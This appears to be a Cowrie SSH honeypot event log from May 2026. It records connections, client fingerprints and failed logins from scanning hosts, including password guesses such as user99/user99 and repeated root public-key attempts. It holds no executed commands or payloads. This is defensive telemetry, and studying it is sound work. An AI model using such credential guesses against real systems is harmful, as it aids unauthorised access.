{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:03.956628Z","src_ip":"149.56.241.206","session":"89a1af0f59b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.141","src_port":33096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e24358b8fa9a","protocol":"ssh","message":"New connection: 14.103.117.141:33096 (10.17.0.5:22) [session: e24358b8fa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:16.852821Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"64949caf56d3","protocol":"ssh","message":"New connection: 165.154.205.91:35588 (159.203.135.109:22) [session: 64949caf56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:33.657128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:33.661338Z","src_ip":"165.154.205.91","session":"64949caf56d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:33.894482Z","src_ip":"165.154.205.91","session":"64949caf56d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user99","password":"user99","message":"login attempt [user99/user99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:34.857742Z","src_ip":"165.154.205.91","session":"64949caf56d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:36.094080Z","src_ip":"165.154.205.91","session":"64949caf56d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":22570,"dst_ip":"159.203.135.109","dst_port":22,"session":"915d013fde56","protocol":"ssh","message":"New connection: 185.9.193.111:22570 (159.203.135.109:22) [session: 915d013fde56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:37.260363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:37.265190Z","src_ip":"185.9.193.111","session":"915d013fde56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:37.748469Z","src_ip":"185.9.193.111","session":"915d013fde56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suser","password":"suser","message":"login attempt [suser/suser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:40.495197Z","src_ip":"185.9.193.111","session":"915d013fde56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:42.399041Z","src_ip":"185.9.193.111","session":"915d013fde56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.141","src_port":58454,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df158ca7fda","protocol":"ssh","message":"New connection: 14.103.117.141:58454 (10.17.0.5:22) [session: 9df158ca7fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:43.319574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:43.323814Z","src_ip":"14.103.117.141","session":"9df158ca7fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:43.543328Z","src_ip":"14.103.117.141","session":"9df158ca7fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.198","src_port":59952,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dc564e0b9fd","protocol":"ssh","message":"New connection: 154.16.180.198:59952 (10.17.0.5:22) [session: 9dc564e0b9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.376325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.384990Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.473469Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:01:36:8c:b6:fc:8a:63:fa:e6:f2:5d:6b:75:0a:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtGMCsFfBq33Y7j/He080ZZrB84XpNYVw6Rhq+QjP8/FfR2kMJun2DBfe43Fpj8gw36g660UbChoRBapNRGJeHXJIh7WzzdV6iD2lf1oq3UBin/kRwPA5Cv5MAI/HisIQA9+T1nsRwmE/FIgZvp9lAnDJadXr0YkCowOh/P71wuxvnAFCkNX6j7LIzvxKmNfVpN3D4lcc7EzPX/VS0Nt1kpS+6huORFg/tO/+RbKFXfonJwyaHZcM3ObXewaza0zU3dAVUB4u/99+uVyM2hbobijRpRSF7Q1GxmHs08PxP/tNs53lgSpD/k21oX5qYIUMT12V0jfqInJdSyZ5x7aXCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:01:36:8c:b6:fc:8a:63:fa:e6:f2:5d:6b:75:0a:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.866211Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:01:36:8c:b6:fc:8a:63:fa:e6:f2:5d:6b:75:0a:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtGMCsFfBq33Y7j/He080ZZrB84XpNYVw6Rhq+QjP8/FfR2kMJun2DBfe43Fpj8gw36g660UbChoRBapNRGJeHXJIh7WzzdV6iD2lf1oq3UBin/kRwPA5Cv5MAI/HisIQA9+T1nsRwmE/FIgZvp9lAnDJadXr0YkCowOh/P71wuxvnAFCkNX6j7LIzvxKmNfVpN3D4lcc7EzPX/VS0Nt1kpS+6huORFg/tO/+RbKFXfonJwyaHZcM3ObXewaza0zU3dAVUB4u/99+uVyM2hbobijRpRSF7Q1GxmHs08PxP/tNs53lgSpD/k21oX5qYIUMT12V0jfqInJdSyZ5x7aXCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.870864Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:6b:4a:3b:a8:37:f0:a9:d8:9c:83:b0:65:86:2e:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYU6xdU3BiFKhkyDaabgAmeta1y5ptmCphNRE2F5BxmbVroKZVW2kCQOzevy8B5QgwUKaSWXA0QDu+V3RdlGFX8+FvhVcLlKJLC6uQKs7ZBZbHptM/u8wFU3Pf7dT8AJbGgp+ti+Vbee5gLn+G6tyW+eR7x6d7bcMpuP/WK0WspeVGgCgODpwQHdTfVst0WbIT0RY2SOS3IQo2p5SsR8s/jYIK1YLDHGoWI8cCRExEQsC9mkYAUi+iHnrvInxoHm/4UMRjEUHBVYY0iUi497qBJGkBVEs1Sp8i+iLgA1qdsRwrZ0NwYukbIvOdF9bCE+t48TGKYXdeR1NOYdQ4ZY/NnWZvXf+szjNX/BfvbLnZJoXIsQSlpHIityElWNq1+8uL5cyWID/XfJN9ZpYPtJuX2wg+PSBa1wMrfLOgQCqd7MUB2gNo0Uy6XaCQFHHAYCt4yjF/m4zoq+bK3UvRNvkCiye+rkoAJIB9hxfG8d5ceV3QET6DLeppOg9usfLQLs5UqfRrgqmuZwwxYkf7o6R03AA4ydl+vIb7rX/0OT+CkSDCwMsxuwW140e92mmVbg/OXhiqLsCuf+pQnCcITydH9msTMOoagv+gWCJJssnt6J6PjpQIGJ1BGgxgoKVy2eCgwAIPbjDNtWO0yaNIfrExP9veRajK7PRScEZqhnoHew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:6b:4a:3b:a8:37:f0:a9:d8:9c:83:b0:65:86:2e:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.957846Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:6b:4a:3b:a8:37:f0:a9:d8:9c:83:b0:65:86:2e:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYU6xdU3BiFKhkyDaabgAmeta1y5ptmCphNRE2F5BxmbVroKZVW2kCQOzevy8B5QgwUKaSWXA0QDu+V3RdlGFX8+FvhVcLlKJLC6uQKs7ZBZbHptM/u8wFU3Pf7dT8AJbGgp+ti+Vbee5gLn+G6tyW+eR7x6d7bcMpuP/WK0WspeVGgCgODpwQHdTfVst0WbIT0RY2SOS3IQo2p5SsR8s/jYIK1YLDHGoWI8cCRExEQsC9mkYAUi+iHnrvInxoHm/4UMRjEUHBVYY0iUi497qBJGkBVEs1Sp8i+iLgA1qdsRwrZ0NwYukbIvOdF9bCE+t48TGKYXdeR1NOYdQ4ZY/NnWZvXf+szjNX/BfvbLnZJoXIsQSlpHIityElWNq1+8uL5cyWID/XfJN9ZpYPtJuX2wg+PSBa1wMrfLOgQCqd7MUB2gNo0Uy6XaCQFHHAYCt4yjF/m4zoq+bK3UvRNvkCiye+rkoAJIB9hxfG8d5ceV3QET6DLeppOg9usfLQLs5UqfRrgqmuZwwxYkf7o6R03AA4ydl+vIb7rX/0OT+CkSDCwMsxuwW140e92mmVbg/OXhiqLsCuf+pQnCcITydH9msTMOoagv+gWCJJssnt6J6PjpQIGJ1BGgxgoKVy2eCgwAIPbjDNtWO0yaNIfrExP9veRajK7PRScEZqhnoHew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:56.962335Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:05:15:d2:76:e8:fc:9e:83:7e:a1:28:bc:3c:ba:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt0BJd6R3jSKyoSBjebySvc4EA++I+aKbk61Dp4jnRfL+U805qxmzlKKyOU+YMNcAZlbSTKnYIDc8q2cDX4SaHJm79ua01IkBmv1pvLF4tOQe3wokX2cTExZ5v5TEs7gRFQv7s+Vkzegn6wJuRkGqS3gcdXsgyXQsMKk6SIl+MrlbyXXMTAvGvqP6gi5xVgPCQOb+to5dmWcL5B99KwXjGcAT5QiEv4lTi6wgb16q3WT2caeAWFUWId1T61yqsRLX/st6zQsgtihhvs2dGK6h5zVw0zOiABd9qP/fwpBnMln8OcMTwYAqsepygHNfH1IunO+8Cs+ddBOjdrhbCC0aG9ZIMgoRqZgZ8nD4vHUKm5b/Uj3BC2kr5oA1MJ3SV3AA7WAlJWehSiEw+jHytrnIIfBdYmhva5DlKY3p4xmqkCPzYcdfwob63T1xOvs6YhuFh6/7Rm1Y9OpoYMmcz/vEFvRAuG3qdYdaod4tp4UE10RlzxUNJaeqNaGpKJSmRhYp5Shee8A5OXzq5LRSI/P2l0trMxmgJ2RUNnhHJ6hiuOWNlHqZ0IihBe3Ajuk+ejQzuOkpXbB1lIW/+vnE7EJOIAaJqQlW5Mx2gLrU4vDsDlE7O+bHBaxhQpB0iDRHXEWQES9iuR3SfxO8S2jv3OWBeG7T0iPc1aU8+VOfM1HpCJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:05:15:d2:76:e8:fc:9e:83:7e:a1:28:bc:3c:ba:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.046150Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:05:15:d2:76:e8:fc:9e:83:7e:a1:28:bc:3c:ba:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDt0BJd6R3jSKyoSBjebySvc4EA++I+aKbk61Dp4jnRfL+U805qxmzlKKyOU+YMNcAZlbSTKnYIDc8q2cDX4SaHJm79ua01IkBmv1pvLF4tOQe3wokX2cTExZ5v5TEs7gRFQv7s+Vkzegn6wJuRkGqS3gcdXsgyXQsMKk6SIl+MrlbyXXMTAvGvqP6gi5xVgPCQOb+to5dmWcL5B99KwXjGcAT5QiEv4lTi6wgb16q3WT2caeAWFUWId1T61yqsRLX/st6zQsgtihhvs2dGK6h5zVw0zOiABd9qP/fwpBnMln8OcMTwYAqsepygHNfH1IunO+8Cs+ddBOjdrhbCC0aG9ZIMgoRqZgZ8nD4vHUKm5b/Uj3BC2kr5oA1MJ3SV3AA7WAlJWehSiEw+jHytrnIIfBdYmhva5DlKY3p4xmqkCPzYcdfwob63T1xOvs6YhuFh6/7Rm1Y9OpoYMmcz/vEFvRAuG3qdYdaod4tp4UE10RlzxUNJaeqNaGpKJSmRhYp5Shee8A5OXzq5LRSI/P2l0trMxmgJ2RUNnhHJ6hiuOWNlHqZ0IihBe3Ajuk+ejQzuOkpXbB1lIW/+vnE7EJOIAaJqQlW5Mx2gLrU4vDsDlE7O+bHBaxhQpB0iDRHXEWQES9iuR3SfxO8S2jv3OWBeG7T0iPc1aU8+VOfM1HpCJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.050341Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:46:51:21:01:f3:83:a2:96:85:85:67:20:07:fd:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6ZdkTRgMO0PrFZM8F6cUm6sI/VPJOUpFKTph5uaQQj5Y0E7m1Lk5kwN5CtR3u7jHQAsSg/6BWFXfXXvTSale7E6/mZwjFli9vUtHzCu7OTE9+AcQ1bH/gf+RkRXBexhZMGIS8r4xo3IGYDcFhBvSxWg6tJ3FKF9AAGz2pOoxsr22QuyUXOU5Ce5rh7UqW3Nx29lT2jJ3iMBd3coL/tZGkwCysq/E8gCVRscMCYGSCFX60S0r5nCkZPdefh1EoKFTa+2/J3sd8gJ3tYTO2BivfSdYlgfsLxvd0AP4OqdBGqTuUfoX8eXxjptTQEzUPG4yOwCwtnRKnW786jWNoErIOsfZr48Ksa48y297E0wzMArZIK2a5JOT4tEj4NjiVcXFKekJdXheT68HpxLa3l49GzSItdTsjjNJOpdWrlRw2VGLA/coEIkm49MPvQ7z32tDHdofnoXdHkyd/vhYBGx+yKjDCemBvWHH1br/rChAqwGKpRsKpiernSrvH03+MnI9PzJY1m5GtPfMmlnwjQ1nz1rNVe5N/Ce1seCgW25A2e5RWHafNjGE0tB/Rg/Xois5WniD6Iv+LiYiGVu4tQuRs/BvvsWlfaipC+Yu6VE1Ni2Xh2GDCBx6CYOr6++qr3GojC+vB3uNX8NPNciQBfCpOcYVs6pN4iYf3DUq2isB25Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:46:51:21:01:f3:83:a2:96:85:85:67:20:07:fd:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.135027Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:46:51:21:01:f3:83:a2:96:85:85:67:20:07:fd:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6ZdkTRgMO0PrFZM8F6cUm6sI/VPJOUpFKTph5uaQQj5Y0E7m1Lk5kwN5CtR3u7jHQAsSg/6BWFXfXXvTSale7E6/mZwjFli9vUtHzCu7OTE9+AcQ1bH/gf+RkRXBexhZMGIS8r4xo3IGYDcFhBvSxWg6tJ3FKF9AAGz2pOoxsr22QuyUXOU5Ce5rh7UqW3Nx29lT2jJ3iMBd3coL/tZGkwCysq/E8gCVRscMCYGSCFX60S0r5nCkZPdefh1EoKFTa+2/J3sd8gJ3tYTO2BivfSdYlgfsLxvd0AP4OqdBGqTuUfoX8eXxjptTQEzUPG4yOwCwtnRKnW786jWNoErIOsfZr48Ksa48y297E0wzMArZIK2a5JOT4tEj4NjiVcXFKekJdXheT68HpxLa3l49GzSItdTsjjNJOpdWrlRw2VGLA/coEIkm49MPvQ7z32tDHdofnoXdHkyd/vhYBGx+yKjDCemBvWHH1br/rChAqwGKpRsKpiernSrvH03+MnI9PzJY1m5GtPfMmlnwjQ1nz1rNVe5N/Ce1seCgW25A2e5RWHafNjGE0tB/Rg/Xois5WniD6Iv+LiYiGVu4tQuRs/BvvsWlfaipC+Yu6VE1Ni2Xh2GDCBx6CYOr6++qr3GojC+vB3uNX8NPNciQBfCpOcYVs6pN4iYf3DUq2isB25Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.138992Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:84:3b:c3:51:5d:7c:a0:4b:00:a5:2a:71:f7:8c:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD3Da0RoDOgsawe+m6uHeyl16m0hMJw/4J5a7oNx7wVZo5hQHaNhVFsUpAWJixyDIeKYRfE9I16yCjPt3CPxWoWBewOSEpGPzG5eEWcZzR8ojEjXKGEK7gdOiWym/kEgit6NlPnuKM6H2TmAgrBA0JQMSXHnMHhX2R+CfUopuWQFqVgSsEkTLnvSRjDAdveU33pEaArtIrKigVHDD1CfxOUj+3KgE4eQqMNmY2pljwjvVDeVfXzT86tb4v6AslDw0FXpfhdLl9VzJ8rh0QBkBfEUQlALxUE2hRClQumesBSS0yfmobREmtNvcHi4J6L0yE9wS/dgh9AXcgIgybAwWrb6tI8MM/fpYkao0kPTdia2EKulEA4+16ko7MbD+CbonzmhR+jZLnaTBK/mWcDXjOIO1IyTmCse3f/p8I/KN1J614xHulmmiMZVredBp4r0cUNW8on68PkXGlf5cP0ufF1kmZ+2sxZXy1wCpHxVXNJ+57chTZug4fG9q0oHo6U6Z9mgdaoERZ34cd6GYzvKbVP5DEuecO/HuUrTuuwtBqaVxReNHKCWFt+GaEWik0eqmDfzcfO4v6hfngU1z13p27KEmwiUoWO9cGCM+uTME2n7wSKOjgP/6vIbYnI3kFTqefnHXNrpkKCkNzHxlOwuawb6gTLnhvDL/qKzdS9MJgEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:84:3b:c3:51:5d:7c:a0:4b:00:a5:2a:71:f7:8c:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:36:57.223725Z","src_ip":"154.16.180.198","session":"9dc564e0b9fd","protocol":"ssh"}
